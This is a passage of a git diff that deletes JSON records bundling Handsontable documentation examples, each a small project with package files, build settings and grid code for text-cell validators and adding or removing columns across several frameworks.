install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example2');\nconst skuValidator = (value, callback) => {\n callback(/^\\d{6}$/.test(value));\n};\nnew Handsontable(container, {\n data: [\n { sku: '004821', supplier: 'Harbor Goods', quantity: 142 },\n { sku: '000093', supplier: 'Alpine Supply Co.', quantity: 0 },\n { sku: '017640', supplier: 'Harbor Goods', quantity: 67 },\n { sku: '002210', supplier: 'Crestline Wholesale', quantity: 310 },\n { sku: '008875', supplier: 'Alpine Supply Co.', quantity: 24 },\n ],\n colHeaders: ['SKU', 'Supplier', 'Quantity'],\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n columns: [\n { data: 'sku', type: 'text', validator: skuValidator, allowInvalid: false },\n { data: 'supplier', type: 'text' },\n { data: 'quantity', type: 'numeric' },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/text-cell-type/javascript/example2.js","breadcrumb":["Cell Types","Text cell type"],"guide":"guides/cell-types/text-cell-type/text-cell-type.md","guideTitle":"Text cell type","exampleId":"example2","exampleTitle":"Adding a validator","docPermalink":"/text-cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__text-cell-type__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__text-cell-type__javascript__example2.ts.json deleted file mode 100644 index 85814383..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__text-cell-type__javascript__example2.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Cell Types ▸ Text cell type · Adding a validator · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2')!;\n\nconst skuValidator = (value: string, callback: (isValid: boolean) => void) => {\n callback(/^\\d{6}$/.test(value));\n};\n\nnew Handsontable(container, {\n data: [\n { sku: '004821', supplier: 'Harbor Goods', quantity: 142 },\n { sku: '000093', supplier: 'Alpine Supply Co.', quantity: 0 },\n { sku: '017640', supplier: 'Harbor Goods', quantity: 67 },\n { sku: '002210', supplier: 'Crestline Wholesale', quantity: 310 },\n { sku: '008875', supplier: 'Alpine Supply Co.', quantity: 24 },\n ],\n colHeaders: ['SKU', 'Supplier', 'Quantity'],\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n columns: [\n { data: 'sku', type: 'text', validator: skuValidator, allowInvalid: false },\n { data: 'supplier', type: 'text' },\n { data: 'quantity', type: 'numeric' },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/text-cell-type/javascript/example2.ts","breadcrumb":["Cell Types","Text cell type"],"guide":"guides/cell-types/text-cell-type/text-cell-type.md","guideTitle":"Text cell type","exampleId":"example2","exampleTitle":"Adding a validator","docPermalink":"/text-cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__text-cell-type__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__text-cell-type__react__example1.tsx.json deleted file mode 100644 index 910ee9e2..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__text-cell-type__react__example1.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Cell Types ▸ Text cell type · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/text-cell-type/react/example1.tsx","breadcrumb":["Cell Types","Text cell type"],"guide":"guides/cell-types/text-cell-type/text-cell-type.md","guideTitle":"Text cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/text-cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__text-cell-type__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__text-cell-type__react__example2.tsx.json deleted file mode 100644 index ca7bd7e1..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__text-cell-type__react__example2.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Cell Types ▸ Text cell type · Adding a validator · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst skuValidator = (value: string, callback: (isValid: boolean) => void) => {\n callback(/^\\d{6}$/.test(value));\n};\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/text-cell-type/react/example2.tsx","breadcrumb":["Cell Types","Text cell type"],"guide":"guides/cell-types/text-cell-type/text-cell-type.md","guideTitle":"Text cell type","exampleId":"example2","exampleTitle":"Adding a validator","docPermalink":"/text-cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__text-cell-type__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__text-cell-type__vue__example1.vue.json deleted file mode 100644 index a37d0125..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__text-cell-type__vue__example1.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Cell Types ▸ Text cell type · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/text-cell-type/vue/example1.vue","breadcrumb":["Cell Types","Text cell type"],"guide":"guides/cell-types/text-cell-type/text-cell-type.md","guideTitle":"Text cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/text-cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__text-cell-type__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__text-cell-type__vue__example2.vue.json deleted file mode 100644 index 693e4a95..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__text-cell-type__vue__example2.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Cell Types ▸ Text cell type · Adding a validator · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/text-cell-type/vue/example2.vue","breadcrumb":["Cell Types","Text cell type"],"guide":"guides/cell-types/text-cell-type/text-cell-type.md","guideTitle":"Text cell type","exampleId":"example2","exampleTitle":"Adding a validator","docPermalink":"/text-cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-adding__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-adding__angular__example1.ts.json deleted file mode 100644 index 814dedf3..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-adding__angular__example1.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Columns ▸ Adding and removing columns · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewChild } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example1-column-adding',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n
    \n \n \n
    \n
    \n
    \n \n
    `,\n})\nexport class AppComponent {\n @ViewChild(HotTableComponent, { static: false }) readonly hotTable!: HotTableComponent;\n\n readonly hotData = [\n ['Ana García', 'Engineering', 'Senior Engineer', '2021-04-12'],\n ['James Okafor', 'Marketing', 'Product Manager', '2022-08-30'],\n ['Li Wei', 'Engineering', 'Staff Engineer', '2019-02-18'],\n ['Sofia Rossi', 'Sales', 'Account Executive', '2023-01-09'],\n ['Diego Fernández', 'Design', 'UX Designer', '2020-11-23'],\n ['Amara Singh', 'Engineering', 'Engineering Manager', '2018-06-05'],\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['Name', 'Department', 'Title', 'Hire date'],\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n\n insertColumn(): void {\n const hot = this.hotTable?.hotInstance;\n\n // insert one column at the end of the grid\n hot?.alter('insert_col_end', hot.countCols() - 1, 1);\n }\n\n removeColumn(): void {\n const hot = this.hotTable?.hotInstance;\n\n // remove the last column, but keep at least one column in the grid\n if (hot && hot.countCols() > 1) {\n hot.alter('remove_col', hot.countCols() - 1, 1);\n }\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-adding/angular/example1.ts","breadcrumb":["Columns","Adding and removing columns"],"guide":"guides/columns/column-adding/column-adding.md","guideTitle":"Adding and removing columns","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/column-adding","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-adding__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-adding__angular__example2.ts.json deleted file mode 100644 index cee34d6a..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-adding__angular__example2.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Columns ▸ Adding and removing columns · Add and remove columns from the context menu · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example2-column-adding',\n standalone: true,\n imports: [HotTableModule],\n template: `\n \n `,\n})\nexport class AppComponent {\n readonly hotData = [\n ['Ana García', 'Engineering', 'Senior Engineer', '2021-04-12'],\n ['James Okafor', 'Marketing', 'Product Manager', '2022-08-30'],\n ['Li Wei', 'Engineering', 'Staff Engineer', '2019-02-18'],\n ['Sofia Rossi', 'Sales', 'Account Executive', '2023-01-09'],\n ['Diego Fernández', 'Design', 'UX Designer', '2020-11-23'],\n ['Amara Singh', 'Engineering', 'Engineering Manager', '2018-06-05'],\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['Name', 'Department', 'Title', 'Hire date'],\n rowHeaders: true,\n height: 'auto',\n // show only the column insert and remove items in the context menu\n contextMenu: ['col_left', 'col_right', 'remove_col'],\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-adding/angular/example2.ts","breadcrumb":["Columns","Adding and removing columns"],"guide":"guides/columns/column-adding/column-adding.md","guideTitle":"Adding and removing columns","exampleId":"example2","exampleTitle":"Add and remove columns from the context menu","docPermalink":"/column-adding","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-adding__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-adding__javascript__example1.js.json deleted file mode 100644 index 2b39c84d..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-adding__javascript__example1.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Columns ▸ Adding and removing columns · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n \n
    \n
    \n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// register all Handsontable's modules\nregisterAllModules();\nconst container = document.querySelector('#example1');\nconst insertButton = document.querySelector('#insert-column');\nconst removeButton = document.querySelector('#remove-column');\nconst hot = new Handsontable(container, {\n data: [\n ['Ana García', 'Engineering', 'Senior Engineer', '2021-04-12'],\n ['James Okafor', 'Marketing', 'Product Manager', '2022-08-30'],\n ['Li Wei', 'Engineering', 'Staff Engineer', '2019-02-18'],\n ['Sofia Rossi', 'Sales', 'Account Executive', '2023-01-09'],\n ['Diego Fernández', 'Design', 'UX Designer', '2020-11-23'],\n ['Amara Singh', 'Engineering', 'Engineering Manager', '2018-06-05'],\n ],\n colHeaders: ['Name', 'Department', 'Title', 'Hire date'],\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\ninsertButton.addEventListener('click', () => {\n // insert one column at the end of the grid\n hot.alter('insert_col_end', hot.countCols() - 1, 1);\n});\nremoveButton.addEventListener('click', () => {\n // remove the last column, but keep at least one column in the grid\n if (hot.countCols() > 1) {\n hot.alter('remove_col', hot.countCols() - 1, 1);\n }\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-adding/javascript/example1.js","breadcrumb":["Columns","Adding and removing columns"],"guide":"guides/columns/column-adding/column-adding.md","guideTitle":"Adding and removing columns","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/column-adding","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-adding__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-adding__javascript__example1.ts.json deleted file mode 100644 index 2e461865..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-adding__javascript__example1.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Columns ▸ Adding and removing columns · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n \n
    \n
    \n
